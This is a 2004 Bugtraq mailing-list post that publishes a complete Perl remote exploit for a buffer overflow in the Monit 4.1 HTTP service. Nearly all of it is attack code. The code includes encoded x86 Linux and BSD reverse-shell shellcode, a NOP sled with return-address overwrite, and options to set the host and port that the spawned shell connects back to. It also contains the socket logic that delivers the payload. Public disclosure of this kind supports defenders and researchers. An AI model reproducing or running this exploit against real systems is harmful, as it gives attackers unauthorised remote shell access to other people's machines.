Message-ID: <200405100202.14620.michel@cycom.se>
Date: Mon, 10 May 2004 02:02:14 +0200
From: Michel Blomgren <michel@...om.se>
To: bugtraq@...urityfocus.com
Subject: Monit 4.1 remote shell exploit (HTTP)


Here's an oldie for a simple buffer overflow vuln.

Read the security advisory for more info:
http://www.securityfocus.com/bid/9099/discussion/

If I've been correctly informed, the public exploit out there
only DoSes (I haven't tested it, so I really can't say). Anyway,
this one's an over-hacked reverse shellcode variant...
discard it in any degree you like.

// Michel, http://www.cycom.se

#!/usr/bin/perl
#
# Monit 4.1 (possibly earlier too) remote shell exploit (HTTP)
# (C) 2004 by Shadowinteger <shadowinteger@...tinix.org>
#
# Verbatim copying, distribution and/or modification of this
# code is permitted without restriction.
#
# THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES  OF  MERCHANTABILITY,  FITNESS FOR A PARTICULAR
# PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
# OR  COPYRIGHT  HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE,  ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
# You may have to install Math::XOR for this to run, e.g.:
# $ perl -MCPAN -e "install Math::XOR"
#
# Acknowledgments: Sabu, Nullbyte
#

use POSIX;
use Getopt::Std;
use IO::Socket::INET;
use Math::XOR;
use strict;

sub usage {
    print "usage: sploit [-a 0xbf7ff9e4] [-o 250] target_host [port]\n" .
          "  -a address   ret address to make eip\n" .
          "  -o offset    offset to subtract from address before injecting it\n" .
          "  -c hostname  choose hostname to have the shellcode connect back to, default\n" .
          "               is localhost\n" .
          "  -p port      choose port to have the shellcode connect back to, default is\n" .
          "               31337.\n" .
          "  -B           use x86 *BSD shellcode instead of x86 Linux\n" .
          "The default address is 0xbf7ff9e4 and the default offset to subtract from that\n" .
          "address is 250, this works under Slackware 8.1 with default ./configure\n" .
          "compilation options. You may have to do some research for your system, gdb is\n" .
          "your friend, e.g. \"gdb process pid_of_monit_httpd\".\n";
    exit 1;
}

# pre_shellcode was added to make sure the stack doesn't write into our
# shellcode
my $pre_shellcode = "\x83\xC4\x40";  # add esp, byte 0x40

my $linux_shellcode = # shadowinteger's reverse shellcode (sishell, x86 linux)
"\xeb\x74\x5d\x6a\x06\x6a\x01\x6a\x02\x8d\x1c\x24\x89\xd9\x31\xdb" .
"\xb3\x01\x31\xc0\xb0\x66\xcd\x80\x89\xc7\x83\xec\x08\x31\xc9\xc6" .
"\x04\x24\x02\x88\x4c\x24\x01\xb8\x80\xff\xff\xfe\x35\xff\xff\xff" .
"\xff\x66\xc7\x44\x24\x02\x7a\x69\x89\x44\x24\x04\x8d\x04\x24\x83" .
"\xec\x10\x89\x3c\x24\x89\x44\x24\x04\x31\xc0\xb0\x10\x89\x44\x24" .
"\x08\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x8d\x14\x24\x89\xd1\xcd\x80" .
"\x85\xc0\x78\x3c\x31\xc9\x31\xc0\xb0\x3f\x89\xfb\xcd\x80\x41\x80" .
"\xf9\x02\x77\x04\xeb\xf0\xeb\x2f\x83\xec\x10\x8d\x44\x24\x08\x89" .
"\x04\x24\x31\xdb\x89\x5c\x24\x04\x89\x5c\x24\x08\x88\x5d\x07\x89" .
"\xeb\x8d\x14\x24\x89\xd1\x31\xd2\x31\xc0\xb0\x0e\x2c\x03\xcd\x80" .
"\x31\xc0\x89\xc3\x40\xcd\x80\xe8\x56\xff\xff\xff\x2f\x62\x69\x6e" .
"\x2f\x73\x68\x24";
my $lin_IP_OFFSET = 40;
my $lin_PORT_OFFSET = 54;
my $lin_XOR = 0xffffffff;   # number to xor the ip address with


my $bsd_shellcode = # shadowinteger's reverse shellcode (sishell, x86 bsd)
"\xeb\x55\x5d\x6a\x06\x6a\x01\x6a\x02\x31\xc0\xb0\x61\x50\xcd\x80" .
"\x89\xc7\x83\xec\x08\x31\xc9\xc6\x04\x24\x02\x88\x4c\x24\x01\xb8" .
"\x80\xff\xff\xfe\x35\xff\xff\xff\xff\x66\xc7\x44\x24\x02\x7a\x69" .
"\x89\x44\x24\x04\x8d\x04\x24\x6a\x10\x50\x57\x31\xc0\xb0\x62\x50" .
"\xcd\x80\x72\x3b\x31\xc9\x51\x57\x31\xc0\xb0\x5a\x50\xcd\x80\x41" .
"\x80\xf9\x02\x77\x04\xeb\xef\xeb\x2e\x83\xec\x10\x8d\x44\x24\x08" .
"\x89\x04\x24\x31\xdb\x89\x5c\x24\x04\x89\x5c\x24\x08\x8d\x14\x24" .
"\x89\xd1\x53\x51\x88\x5d\x07\x55\x31\xc0\xb0\x3b\x50\xcd\x80\x31" .
"\xc0\x50\xfe\xc0\x50\xcd\x80\xe8\x76\xff\xff\xff\x2f\x62\x69\x6e" .
"\x2f\x73\x68\x24";
my $bsd_IP_OFFSET = 32;
my $bsd_PORT_OFFSET = 46;
my $bsd_XOR = 0xffffffff;


# just define these here, since we're "strict"
my $shellcode;
my $IP_OFFSET;
my $PORT_OFFSET;
my $XOR;


# set up defaults

my $offset = 250; # offset to back-track (subtract) from $address
my $address = 0xbf7ff9e4;

my $target = "localhost";
my $port = 2812;

my $callback_host = "localhost";
my $callback_port = pack('n', 31337);


# handle options

my %options = ();
getopts("a:o:c:p:Bh", \%options);

if ( defined $options{h} ) {
    usage();
}
if ( ! $ARGV[0]) {
    usage();
} else {
    if ( length($ARGV[0]) > 0 ) {
        $target = $ARGV[0];
    }
}
if ( $ARGV[1]) {
    $port = $ARGV[1];
}

# if -B option is present, define $bsd
my $bsd = "yes" if defined $options{B};

if ( defined $options{a} ) {
    $address = hex($options{a});
}
if ( defined $options{o} ) {
    $offset = $options{o};
}
if ( defined $options{c} ) {
    if ( length($options{c}) > 0 ) {
        $callback_host = $options{c};
    }
}
if ( defined $options{p} ) {
    $callback_port = pack('n', $options{p});
}


# set up shellcode pointers... linux or bsd?

if ( defined $bsd ) {
    $shellcode = $bsd_shellcode;
    $IP_OFFSET = $bsd_IP_OFFSET;
    $PORT_OFFSET = $bsd_PORT_OFFSET;
    $XOR = $bsd_XOR;
} else {
    $shellcode = $linux_shellcode;
    $IP_OFFSET = $lin_IP_OFFSET;
    $PORT_OFFSET = $lin_PORT_OFFSET;
    $XOR = $lin_XOR;
}


# resolve hostname
my $callback_ip = gethostbyname($callback_host);

# insert resolved connect back address into shellcode
substr($shellcode, $IP_OFFSET, 4, xor_buf($callback_ip, pack('l',$XOR)));

# insert port into shellcode (short network order)
substr($shellcode, $PORT_OFFSET, 2, $callback_port);

# decode (un-xor) IP address in shellcode and print it to stdout
# don't uncomment, it's just an example
# print xor_buf(substr($shellcode, $IP_OFFSET, 4), pack('l',$XOR));


# calculate address and make it binary

my $eip = $address - $offset;
my $bin_eip = pack('l', $eip);

# cruft is our parsed payload:
# [ NOPNOPNOPNOP ] [ PRE ] [ SHELLCODE ] [ ADDR ] [ ADDR ]
#        ^
#  ideal jump address
#
my $cruft = "\x90" x (256 - length($pre_shellcode . $shellcode)) .
            $pre_shellcode . $shellcode . $bin_eip x 2;

# build HTTP request, there's nothing more to it than to add a double linefeed
my $request = $cruft . "\n\n";

#
# print banner and get started
#
print '-»» Monit 4.1 remote shell exploit (HTTP)'."\n";
print '««- (C) 2004 Shadowinteger <shadowinteger@...tinix.org'."\n";

if ( defined $bsd ) {
    print "[i] using x86 *BSD shellcode (sishell)\n";
} else {
    print "[i] using x86 Linux shellcode (sishell)\n";
}

printf("[i] using ret address: 0x%x\n", $eip);

print "[i] shellcode will connect to " . inet_ntoa($callback_ip) .
      ", port " . unpack('n', $callback_port) . "\n";

print "[i] attacking " . $target . ", port " . $port . "\n";
print "[+] connecting to target...\n";

my $socket = 0;
$socket = IO::Socket::INET -> new( PeerAddr => $target,
                                   PeerPort => $port,
                                   Proto    => "tcp" );
if (!defined($socket)) {
    print "[?] no connection!\n";
    exit 1;
}

print "[i] connection established\n";

print "[+] injecting shellcode...\n";
print $socket $request;
sleep(3);
print "[i] done\n";
close $socket;
exit 0;
## EOF

-- 
Michel Blomgren
Cycom AB
http://www.cycom.se
______________________________________________
PGP: http://www.cycom.se/misc/pubkeymichel.asc
886A 7B17 1747 6C82 7A7E
EAC0 A3F1 2943 101C 18FA

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